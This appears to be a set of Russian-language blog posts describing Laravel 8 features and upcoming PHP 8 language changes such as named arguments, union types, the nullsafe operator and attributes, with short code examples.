• Классы Collection, Arr и Macroable получат свой собственный пакет ( #32478 , #32481 , #32510 и #33108 )
• Команда дампа схемы - php artisan schema:dump ( #32275 )
• Поддержка каталога Eloquent Model - app/Models ( #33390 )
• Улучшенный режим обслуживания (шаблоны, список разрешений, редиректы и код состояния, #33560 )
• Больше не перезапускать встроенный веб-сервер при обновлении .env ( твит )
• Улучшение компонентов Blade, правильное наследование родительских атрибутов ( #32576 )
• Улучшения метода dispatchNow ( #32559 )
• Заполнение базы данных после обновления ( #32485 )
• Разрешить кастомные ссылки для сброса пароля через обратный вызов ( #33438 )
• Улучшения ограничения скорости ( #32726 )
• Кэшировать маршруты с замыканием ( твит )
• Поддержка необработанного HTML в компонентах Blade ( #33365 )
• Улучшения в именовании конфигураций очередей ( #32728 и #32809 )
• Поддержка замыканий в методе Eloquen with() ( #32924 )
• Удаление свойства $dates у моделей Eloquent ( #32856 - отменено )
• Поддержка пакетной обработки заданий ( #32830 , #33173 , #32974 и #32967 )
• Поддержка вызова firstOrNew/firstOrCreate без параметров ( #33334 )
• Поддержка замыканий в слушателях очередей ( #33463 )
• Обработка сбоев заданий замыканий очереди ( твит )

Laravel Jetstream

Laravel Jetstream улучшает существующий Laravel UI. Он обеспечивает отправную точку для новых проектов, включая вход в систему, регистрацию, проверку электронной почты, двухфакторную аутентификацию, управление сеансами, поддержку API через Laravel и управление командой.

Папка Models

Скелет приложения Laravel 8 включает папку app/Models. Все команды генератора предполагают, что модели существуют в app/Models; однако, если этот каталог не существует, структура будет считать, что приложение хранит модели в app/.

Классы фабрики моделей

Начиная с Laravel 8, теперь, фабрики моделей Eloquent основаны на классах, с улучшенной поддержкой отношений между фабриками (т.е. у пользователя много постов). Думаю, вы согласитесь, насколько хорош новый синтаксис для создания записей с помощью новых и улучшенных фабрик моделей:

use App\Models\User;

User::factory()->count(50)->create();

// using a model state "suspended" defined within the factory class
User::factory()->count(5)->suspended()->create();

Сжатие миграции

Если ваше приложение содержит много файлов миграции, теперь вы можете сжать их в один файл SQL. Этот файл будет выполняться первым при запуске миграции, а затем все оставшиеся файлы миграции, которые не являются частью файла сжатой схемы. Сжатие существующих миграций может уменьшить количество файлов миграции и, возможно, повысить производительность при выполнении тестов.

Улучшенное ограничение скорости

Laravel 8 вносит улучшения в существующие функции ограничения скорости, поддерживая обратную совместимость с существующим throttle middleware и предлагая гораздо большую гибкость. В Laravel 8 есть концепция ограничителей скорости, которые вы можете определить через фасад:

use Illuminate\Support\Facades\RateLimiter;

RateLimiter::for('global', function (Request $request) {
    return Limit::perMinute(1000);
});

Как видите метод for() принимает экземпляр HTTP-запроса, что дает вам полный контроль над динамическим ограничением запросов.

Помощники по тестированию времени

Пользователи Laravel получили полный контроль над изменением времени с помощью превосходной библиотеки Carbon PHP. Laravel 8 делает еще один шаг вперед, предоставляя удобные помощники по тестированию для управления временем внутри тестов:

// Travel into the future...
$this->travel(5)->milliseconds();
$this->travel(5)->seconds();
$this->travel(5)->minutes();
$this->travel(5)->hours();
$this->travel(5)->days();
$this->travel(5)->weeks();
$this->travel(5)->years();

// Travel into the past...
$this->travel(-5)->hours();

// Travel to an exact time...
$this->travelTo(now()->subHours(6));

// Return back to the present time...
$this->travelBack();

При использовании этих методов время будет сбрасываться между каждым тестом.

Компоненты Dynamic Blade

Иногда вам нужно динамически визуализировать blade-компонент во время выполнения. Laravel 8 предоставляет компонент для рендеринга <x-dynamic-component/>:

<x-dynamic-component :component="$componentName" class="mt-4" />

Пакетирование заданий

Функция пакетной обработки заданий Laravel позволяет вам легко выполнять пакет заданий, а затем выполнять некоторые действия, когда пакет заданий завершился.

Новый метод фасада Bus batch() может использоваться для отправки пакета заданий. Конечно, пакетирование в первую очередь полезно в сочетании с обратными вызовами завершения. Таким образом, вы можете использовать методы then, catch и finally  для определения завершения обратного вызова для партии. Каждый из этих обратных вызовов получит экземпляр при вызове: Illuminate\Bus\Batch

use App\Jobs\ProcessPodcast;
use App\Podcast;
use Illuminate\Bus\Batch;
use Illuminate\Support\Facades\Batch;
use Throwable;

$batch = Bus::batch([
    new ProcessPodcast(Podcast::find(1)),
    new ProcessPodcast(Podcast::find(2)),
    new ProcessPodcast(Podcast::find(3)),
    new ProcessPodcast(Podcast::find(4)),
    new ProcessPodcast(Podcast::find(5)),
])->then(function (Batch $batch) {
    // All jobs completed successfully...
})->catch(function (Batch $batch, Throwable $e) {
    // First batch job failure detected...
})->finally(function (Batch $batch) {
    // The batch has finished executing...
})->dispatch();

return $batch->id;

Улучшенный режим обслуживания

В предыдущих выпусках Laravel php artisan down функцию режима обслуживания можно было обойти с помощью «разрешенного списка» IP-адресов, которым был разрешен доступ к приложению. Эта функция была удалена в пользу более простого решения «secret»/token.

Находясь в режиме обслуживания, вы можете использовать опцию secret для указания токена обхода режима обслуживания:

php artisan down --secret="1630542a-246b-4b66-afa1-dd72a4c43515"

После перевода приложения в режим обслуживания вы можете перейти к URL-адресу приложения, соответствующему этому токену, и Laravel выдаст вашему браузеру файл cookie обхода режима обслуживания:

https://example.com/1630542a-246b-4b66-afa1-dd72a4c43515

Замыкание Dispatch/Chain

Используя новый метод catch, теперь вы можете предоставить замыкание, которое должно быть выполнено, если замыкание в очереди не может быть успешно завершено после исчерпания всех настроенных попыток повтора вашей очереди:

use Throwable;

dispatch(function () use ($podcast) {
    $podcast->publish();
})->catch(function (Throwable $e) {
    // This job has failed...
});

Улучшения прослушивателя событий

Слушатели событий, основанные на замыкании, теперь могут быть зарегистрированы только путем передачи замыкания в метод. Laravel проверит замыкание, чтобы определить, какой тип события обрабатывает слушатель:Event::listen

use App\Events\PodcastProcessed;
use Illuminate\Support\Facades\Event;

Event::listen(function (PodcastProcessed $event) {
    //
});

Кроме того, прослушиватели событий на основе замыкания теперь могут быть помечены как стоящие в очереди с помощью функции:Illuminate\Events\queueable

use App\Events\PodcastProcessed;
use function Illuminate\Events\queueable;
use Illuminate\Support\Facades\Event;

Event::listen(queueable(function (PodcastProcessed $event) {
    //
}));

Как очереди заданий, вы можете использовать методы onConnection, onQueue и delay , чтобы настроить выполнение очереди слушателя:

Event::listen(queueable(function (PodcastProcessed $event) {
    //
})->onConnection('redis')->onQueue('podcasts')->delay(now()->addSeconds(10)));

Если вы хотите обрабатывать сбои анонимного прослушивателя в очереди, вы можете предоставить закрытие метода catch при определении прослушивателя queueable:

use App\Events\PodcastProcessed;
use function Illuminate\Events\queueable;
use Illuminate\Support\Facades\Event;
use Throwable;

Event::listen(queueable(function (PodcastProcessed $event) {
    //
})->catch(function (PodcastProcessed $event, Throwable $e) {
    // The queued listener failed...
}));

Улучшение artisan serve

В команду Artisan serve добавлена ​​автоматическая перезагрузка при обнаружении изменений переменных среды в вашем локальном .env файле. Раньше команду приходилось останавливать и перезапускать вручную.

Обновления пространства имен маршрутизации

В предыдущих выпусках Laravel объект RouteServiceProvider содержал свойство $namespace. Значение этого свойства будет автоматически добавляться к определениям маршрута контроллера и вызовам action вспомогательного метода. В Laravel 8.x это свойство по умолчанию. Это означает, что Laravel не будет выполнять автоматический префикс пространства имен. Следовательно, в новых приложениях Laravel 8.x определения маршрутов контроллера должны быть определены с использованием стандартного синтаксиса вызываемого PHP:URL::action null

use App\Http\Controllers\UserController;

Route::get('/users', [UserController::class, 'index']);

Вызов action связанных методов должен использовать тот же синтаксис вызова:

action([UserController::class, 'index']);

return Redirect::action([UserController::class, 'index']);

Если вы предпочитаете префикс маршрута контроллера в стиле Laravel 7.x, вы можете просто добавить свойство $namespace в свое приложение RouteServiceProvider.

Именованные аргументы, также называемые именованными параметрами, получат поддержку в PHP 8. В этом посте я расскажу об их плюсах и минусах.

Но позвольте сначала спросить бывали ли вы когда-нибудь в ситуации, когда вы видели функцию и ее параметры и задавались вопросом, что это за параметры? Я почти уверен, что это было и не раз, например, возьмем следующее:

array_slice($array, $offset, $length, true);

Первые три параметра, переданные в array_slice , кажутся очевидными из-за информативных имен переменных, но как насчет четвертого параметра? Это просто true. Но что здесь означает это true? Что ж, чтобы это узнать, вам нужно перейти к определению функции или обратиться к документации. В случае array_sliceс определением будет:

function array_slice(
    array $array,
    $offset,
    $length = null,
    $preserve_keys = false
) { }

Итак, четвертый параметр - $preserve_keys это то, что вы можете определить, только взглянув на определение. И больше у вас ничего нет, что может подсказать, просто взглянув на объявление функции.

А что если мы перепишем данный пример вот так:

array_slice($array, $offset, $length, preserve_keys: true);

Как видите, код теперь довольно самодокументируется по сравнению с предыдущим примером. Теперь мы знаем, для чего предназначен четвертый параметр. Или возьмем встроенную функции PHP по созданию кук:

setcookie(
    name: 'week',
    expires: time() + 60 * 60 * 24 * 14,
);

А это, DTO, использующий продвигаемые свойства , а также именованные аргументы:

class CustomerData
{
    public function __construct(
        public string $name,
        public string $email,
        public int $age,
    ) {}
}

$data = new CustomerData(
    name: $input['name'],
    email: $input['email'],
    age: $input['age'],
);

Именованные аргументы также поддерживают распаковку массива:

$data = new CustomerData(...$customerRequest->validated());

Как вы уже догадались, именованные аргументы позволяют передавать входные данные в функцию на основе имени аргумента, а не его порядка. 

RFC был первоначально предложен Никитой Поповым, который работает над редактором PHP в компании по разработке инструментов JetBrains. Как он выразился в недавнем подкасте: «Если у вас есть метод, например, с тремя логическими аргументами, это действительно выглядит ужасно, потому что вы называете его так: «true »,«true»,«false», например, что это означает? Если вы указали параметры и у вас есть те же три логических аргумента, тогда это больше не проблема».

Почему именованные аргументы?

Эта функция была очень обсуждаемой, и было несколько контраргументов против ее добавления. Тем не менее, я бы сказал, что их преимущества намного перевешивают страх перед проблемами обратной совместимости или раздутыми API. На мой взгляд, они позволят нам писать более чистый и гибкий код.

Во-первых, именованные аргументы позволяют пропускать значения по умолчанию. Взглянем еще раз на пример c созданием cookie:

setcookie(
    name: 'week',
    expires: time() + 60 * 60 * 24 *14,
);

Сигнатура его метода на самом деле достаточно большая и выглядит так:

setcookie ( 
    string $name, 
    string $value = "", 
    int $expires = 0, 
    string $path = "", 
    string $domain = "", 
    bool $secure = false, 
    bool $httponly = false,
) : bool

В показанном мной примере нам не нужно было устанавливать значение $value, но нам обязательно нужно установить время истечения куки. Именованные аргументы сделали вызов этого метода более лаконичным, итак вот это:

setcookie(
    'week',
    '',
    time() + 60 * 60 * 24 *14,
);

против

setcookie(
    name: 'week',
    expires: time() + 60 * 60 * 24 *14,
);

Помимо пропуска аргументов со значениями по умолчанию, есть также преимущество ясности в отношении того, какая переменная что делает; то, что особенно полезно в функциях с большими сигнатурами. Теперь можно сказать, что множество аргументов - это плохой стиль кода; но нам по-прежнему приходится иметь с этим дело, несмотря ни на что, поэтому лучше иметь разумный способ сделать это, чем вообще ничего.

Подробнее об именованных аргументов

Разобравшись с основами, давайте посмотрим, что могут и чего не могут делать именованные аргументы.

Прежде всего, именованные аргументы можно комбинировать с безымянными - также называемыми упорядоченными аргументами. В этом случае упорядоченные аргументы всегда должны быть на первом месте.

Посмотрим на наш предыдущий пример DTO:

class CustomerData
{
    public function __construct(
        public string $name,
        public string $email,
        public int $age,
    ) {}
}

Вы можете построить его так:

$data = new CustomerData(
    $input['name'],
    age: $input['age'],
    email: $input['email'],
);

Однако наличие упорядоченного аргумента после именованного приведет к ошибке:

$data = new CustomerData(
    age: $input['age'],
    $input['name'],
    email: $input['email'],
);

Затем можно использовать распакову массива в сочетании с именованными аргументами:

$input = [
    'age' => 33,
    'name' => 'Sergey',
    'email' => 'sinbadxiii@gmail.com',
];

$data = new CustomerData(...$input);

Однако, если отсутствуют необходимые записи в массиве, или если есть ключ, который не указан в качестве именованного аргумента, будет сгенерировано сообщение об ошибке:

$input = [
    'age' => 33,
    'name' => 'Sergey',
    'email' => 'sinbadxiii@gmail.com',
    'unknownProperty' => 'This is not allowed',
];

$data = new CustomerData(...$input);

Это является возможным объединить названные и упорядоченные аргументы во входном массиве, но только если упорядоченные аргументы следуют тому же правилу, как и прежде: они должны прийти первыми.

$input = [
    'Sergey',
    'age' => 33,
    'email' => 'sinbadxiii@gmail.com',
];

$data = new CustomerData(...$input);

Если вы используете функции с переменным числом аргументов, именованные аргументы будут переданы вместе с именем ключа в массив с переменными аргументами. Возьмем следующий пример:

class CustomerData
{
    public static function new(...$args): self
    {
        return new self(...$args);
    }

    public function __construct(
        public string $name,
        public string $email,
        public int $age,
    ) {}
}

$data = CustomerData::new(
    email: 'sinbadxiii@gmail.com',
    age: 33,
    name: 'Sergey',
);

В этом случае массив $args будет содержать следующие данные: CustomerData::new

[
    'age' => 33,
    'email' => 'sinbadxiii@gmail.com',
    'name' => 'Sergey',
]

Атрибуты, также известные как аннотации, тоже поддерживают именованные аргументы:

class ProductSubscriber
{
    @@ListensTo(event: ProductCreated::class)
    public function onProductCreated(ProductCreated $event) { /* … */ }
}

Невозможно использовать переменную в качестве имени аргумента:

$field = 'age';

$data = CustomerData::new(
    $field: 33,
);

И, наконец, именованные аргументы прагматично будут иметь дело с изменениями имени во время наследования. Вот пример:

interface EventListener {
    public function on($event, $handler);
}

class MyListener implements EventListener
{
    public function on($myEvent, $myHandler)
    {
        // …
    }
}

PHP автоматически разрешит изменение имени $event на $myEvent и $handler на $myHandler; но если вы решите использовать именованные аргументы, используя имя родителя, это приведет к ошибке выполнения:

public function register(EventListener $listener)
{
    $listener->on(
        event: $this->event,
        handler: $this->handler, 
    );
}

Этот прагматический подход был выбран для предотвращения серьезных критических изменений, когда все унаследованные аргументы должны были бы иметь одно и то же имя. Мне кажется, это хорошее решение.

Ну что же, PHP присоединился к длинному списку языков, в которых уже есть эта функция, включая C#, Kotlin, PowerShell, Python, Ruby, Swift и Visual Basic. Однако те же Java и JavaScript пока его не поддерживают.

PHP 8 - следующая мажорная версия, примерная дата релиза конец 2020 года.

Итак, PHP 7.4 вышел и должен закончить эпохальную ветку седьмой версии. Столько много всего интересного было в ней реализовано, но разработчики PHP не стоят на месте и уже готовят 8 версию, которая будет содержать в себе много грандиозных вещей, о которых я и буду вас уведомлять по мере одобрения RFC или пулл-реквестов.  

PHP 8 - новая основная версия PHP, как ожидается, выйдет 26 ноября 2020 года. Так как PHP 8 все еще находится в активной разработке, то список новых функций, со временем, будет расти и меняться, его первая альфа ожидается 18 июня 2020 года.

JIT

Появление JIT как раз во время. Компилятор обещает значительные улучшения производительности, хотя и не всегда это будет в контексте веба. На данный момент не было сделано никаких точных ориентиров, но они обязательно появятся. Что такое JIT  и для чего он будет нужен, можно почитать здесь

Union Types 2.0 (Объединенные типы)

«Объединенные типы» принимают значения нескольких разных типов, а не одного. PHP уже поддерживает два специальных типа объединения:

Type или null, используя специальный синтаксис "?Type"

array или Traversable, используя специальный тип iterable.

Однако произвольные объединенные типы в настоящее время не поддерживаются языком. Вместо этого необходимо использовать аннотации phpdoc, например, в следующем примере:

class Number {
    /**
     * @var int|float $number
     */
    private $number;
 
    /**
     * @param int|float $number
     */
    public function setNumber($number) {
        $this->number = $number;
    }
 
    /**
     * @return int|float
     */
    public function getNumber() {
        return $this->number;
    }
}

Объединенные типы указываются с использованием синтаксиса T1|T2|… и могут использоваться во всех позициях, где типы в настоящее время принимаются:

class Number {
    private int|float $number;
 
    public function setNumber(int|float $number): void {
        $this->number = $number;
    }
 
    public function getNumber(): int|float {
        return $this->number;
    }
}

Обратите внимание, что тип void не может быть частью типа объединения, так как он означает «вообще ничего-возвращаемого значения». Кроме того, nullable союзы могут быть написаны с использованием |null или с использованием существующей ? записи:

public function foo(Foo|null $foo): void;

public function bar(?Bar $bar): void;

Оператор nullsafe rfc

Если вы знакомы с оператором объединения c нулевым значением ( ?? ), думаю, что вы уже знакомы с его недостатками: он не работает с вызовами методов. Вместо этого вам нужны будут промежуточные проверки или надо будет полагаться на опциональных помощников, предоставляемых некоторыми фреймворками:

$startDate = $dateAsString = $booking->getStartDate();

$dateAsString = $startDate ? $startDate->asDateTimeString() : null;

С добавлением оператора nullsafe мы теперь можем иметь поведение методов, подобное слиянию null!

$dateAsString = $booking->getStartDate()?->asDateTimeString();

Именованные аргументы rfc

Именованные аргументы позволяют передавать значения в функцию, указывая имя значения, так что вам не нужно учитывать их порядок, а также вы можете пропустить необязательные параметры:

// Использование позиции аргументов:
array_fill(0, 100, 50);

// Использование наименований аргументов:
array_fill(start_index: 0, num: 100, value: 50);

Можно комбинировать именованные аргументы с обычными позиционными аргументами, а также можно указать только некоторые из необязательных аргументов функции, независимо от их порядка:

htmlspecialchars($string, double_encode: false);
//то же самое что и
htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'UTF-8', false);

Аттрибуты

Атрибуты, обычно известные в других языках, как аннотации или декораторы, предлагают способ добавлять метаданные в классы, без распарсивания докблоков. Широкое использование парсинга комментариев к документам пользователя показывает, что это очень востребованная функция сообщества. Атрибуты представляют собой специально отформатированный текст, заключенный в «<<» и «>>» путем повторного использования существующих токенов T_SL и T_SR.